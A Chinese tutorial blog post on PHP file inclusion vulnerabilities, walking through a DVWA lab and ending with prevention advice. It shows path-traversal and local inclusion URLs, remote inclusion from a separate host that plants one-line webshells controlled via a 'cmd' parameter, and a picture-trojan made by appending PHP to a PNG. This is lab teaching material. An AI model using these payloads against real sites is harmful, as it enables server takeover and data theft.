文件包含漏洞详谈

文件包含

将重复使用的函数写到单个文件中,需要使用某个函数时,调用这个文件即可,这种文件调用过程称为文件包含

 

文件包含漏洞

程序开发人员希望代码更灵活,将包含的文件设置为变量,用来进行动态调用,导致客户端可以调用一个恶意文件,造成文件包含漏洞

分为:本地文件包含漏洞和远程文件包含漏洞

 

文件包含漏洞成因

网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了包含功能),攻击者可以通过修改包含文件的位置来让后台执行任意文件

 

 

文件包含函数

include() 执行到include时才包含文件,找不到被包含文件时提示警告,但脚本会继续执行

require() 只要程序已运行就包含文件,找不到被包含的文件时就会产生严重错误,并停止脚本运行

 

 

dvwa文件包含实验

本地文件包含

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file1.php

将参数值换为本地的文件,发送请求:

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=c:\windows\system32\drivers\etc\hosts

发现成功读取本地文件

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file://c:\windows\system32\drivers\etc\hosts

此时参数是一个file协议,一样可以成功读取

 

远程文件包含

首先修改php.ini文件中的配置(重点)

allow_url_fopen = On 默认打开,其他都是默认关闭

allow_url_include = On

magic_quotes_gpc = off

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/info.txt

得到当前系统的敏感信息

 

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/cmd.txt

会在本地的fi文件夹中生成一个cmd250.php文件,文件内容为一句话木马

然后http://127.0.0.1:8086/dvwa/vulnerabilities/fi/cmd250.php?cmd=ipconfig,控制当前系统的服务器

 

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/filein1.txt

会在本地的fi文件夹中生成一个newfile1.php文件,文件内容为一句话木马,使用菜刀,添加shell,地址栏里输入http://127.0.0.1:8086/dvwa/vulnerabilities/fi/newfile1.php,密码为123,添加成功后双击该shell,发现获得了系统的C盘与D盘

 

文件包含结合文件上传

在cmd中,先切到所执行文件的路径下,执行copy /b 001.png + muma.php new001.png 会生成一个新的包含木马的图片文件new001.png,切换到高级别,进行文件上传,将生成的木马图片文件上传,拷贝成功上传提醒前面的文件相对路径,切换到低级,使用生成的图片文件进行文件包含,也就是将参数改为之前拷贝的相对路径,发送请求

 

cookie文件包含

发送请求 127.0.0.1:8086/fileinclude/cookiein,抓包,将cookie值改为 temp=..\..\windows\system32\drivers\etc\hosts,重放请求,发现文件执行成功

 

第五行代码中的路径为任意路径

 

 

文件包含漏洞防范:

1 尽量硬编码文件名称,如aaa.php,不要以变量的形式动态变化

2 过滤:http:// , https:// , ../../等

3 配置文件php.ini中的三个开关都设为关闭

4 采用白名单方式,未出现在白名单中的一律禁止

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值